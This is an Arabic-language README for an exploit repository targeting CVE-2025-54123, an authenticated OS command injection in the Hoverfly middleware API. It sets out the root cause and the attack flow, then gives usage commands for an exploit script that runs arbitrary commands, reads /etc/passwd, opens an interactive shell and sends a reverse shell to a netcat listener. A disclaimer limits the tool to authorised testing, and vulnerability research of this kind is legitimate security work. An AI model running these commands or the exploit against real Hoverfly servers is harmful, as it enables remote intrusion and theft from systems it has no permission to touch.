CVE-2025-54123 — تنفيذ التعليمات البرمجية عن بُعد عبر واجهة برمجة تطبيقات الوسيطة في Hoverfly

RCE موثَّقة عبر حقن أوامر نظام التشغيل في Hoverfly ≤ 1.11.3

نظرة عامة على الثغرة

التحليل الفني

إليك دراسة حالة متعمقة وتحليل فني من منظور الصندوق الأبيض والأسود https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a

سطح الهجوم

يُعرّض Hoverfly واجهة برمجة تطبيقات إدارية RESTful (المنفذ الافتراضي 8888) لإدارة تكوينات المحاكاة. يقبل نقطة نهاية إدارة الوسيطة في /api/v2/hoverfly/middleware نصًا JSON يحتوي على حقلي binary و script يُعرِّفان عملية وسيطة خارجية.

السبب الجذري

تنبع الثغرة من مزيج من ثلاثة عيوب على مستوى الكود:

1. التحقق غير الكافي من الإدخال — middleware.go:93-96: تقبل الدالة SetBinary() المعامل binary دون أي تحقق أو تنقية، مما يسمح للمهاجم بتحديد ملفات تنفيذية عشوائية (مثل bash).

2. تنفيذ الأوامر غير الآمن — local_middleware.go:14-19: تُنفَّذ الوسيطة عبر exec.Command() مع تمرير قيم binary و script التي يتحكم فيها المهاجم مباشرة كوسيطات، مما يتيح حقن أوامر نظام التشغيل.

3. التنفيذ الفوري أثناء الاختبار — hoverfly_service.go:173: عند تعيين الوسيطة عبر واجهة برمجة التطبيقات، يقوم Hoverfly فورًا باختبار الوسيطة عن طريق تنفيذها، مما يؤدي إلى تشغيل الأمر المُحقن في وقت التكوين وليس في وقت اعتراض الوكيل.

تدفق الهجوم

المهاجم                              Hoverfly (≤ 1.11.3)
   │                                        │
   │─── POST /api/token-auth ──────────────>│  (1) المصادقة
   │<── { "token": "eyJ..." } ─────────────│
   │                                        │
   │─── PUT /api/v2/hoverfly/middleware ───>│  (2) حقن الحمولة
   │    { "binary": "bash",                 │
   │      "script": "<malicious cmd>" }     │
   │                                        │
   │    ┌──────────────────────────────────┐│
   │    │ exec.Command("bash", tmpScript)  ││  (3) تنفيذ فوري
   │    │ → يعمل أمر المهاجم كـ       │
   │    │   مستخدم عملية Hoverfly      ││
   │    └──────────────────────────────────┘│
   │                                        │
   │<── مخرجات الأمر في استجابة الخطأ ──│  (4) استخراج المخرجات
   │                                        │

استخدام الاستغلال

المتطلبات الأساسية

• Python 3.8+
• بيانات اعتماد صالحة لواجهة برمجة تطبيقات إدارة Hoverfly (الافتراضي: admin / كلمة مرور قابلة للتكوين)

التثبيت

git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt

أوضاع التشغيل

وضع التحقق فقط

تحقق من إمكانية الوصول إلى الهدف والمصادقة دون استغلال:

python3 exploit.py -u http://target:8888 -U admin -P <password> -C

تنفيذ أمر واحد

نفذ أمرًا واحدًا لنظام التشغيل على الهدف:

python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'

شل تفاعلية وهمية

ادخل إلى جلسة شل مستمرة:

python3 exploit.py -u http://target:8888 -U admin -P <password> -i

شل عكسية

أرسل شل عكسية إلى المستمع الخاص بك:

# الطرفية 1 — بدء المستمع
nc -lvnp 4444

# الطرفية 2 — تشغيل الاستغلال
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444

الوضع المفصل مع وكيل

وجِّه حركة المرور عبر Burp Suite للفحص:

python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v

مرجع كامل للخيارات

المعالجة

تفاصيل التصحيح

التصحيح في commit 17e60a9 يعطل واجهة برمجة تطبيقات تعيين الوسيطة افتراضيًا. التغييرات اللاحقة في التوثيق (commit a9d4da7) تجعل المستخدمين على دراية بالآثار الأمنية لكشف نقطة النهاية هذه.

المراجع

• NVD — CVE-2025-54123
• إشعار أمني من GitHub — GHSA-r4h8-hfp2-ggmf
• الكود الضعيف — hoverfly_service.go#L173
• الكود الضعيف — middleware.go#L93
• الكود الضعيف — local_middleware.go#L13
• commit التصحيح — 17e60a9

إخلاء مسؤولية

تم توفير هذه الأداة لأغراض اختبار الأمان المصرح به والبحث التعليمي فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA) والقوانين المماثلة في جميع أنحاء العالم. لا يتحمل المؤلف أي مسؤولية عن سوء استخدام هذا البرنامج. احصل دائمًا على إذن كتابي صريح قبل اختبار أي نظام لا تملكه.

هيكل المشروع

CVE-2025-54123/
├── Exploit/
│   ├── exploit.py          # استغلال مُحسَّن
│   └── raw_exploit.py      # إثبات المفهوم الخام الأصلي
├── Images/                 # لقطات شاشة البحث
├── Reference/              # استغلالات مرجعية للدراسة
├── requirements.txt        # تبعيات بايثون
└── README.md               # هذا الملف

المؤلف

Phantom Hat — باحث أمني

تم إجراء هذا البحث كجزء من دراسة حالة ثغرة أمنية للأغراض التعليمية.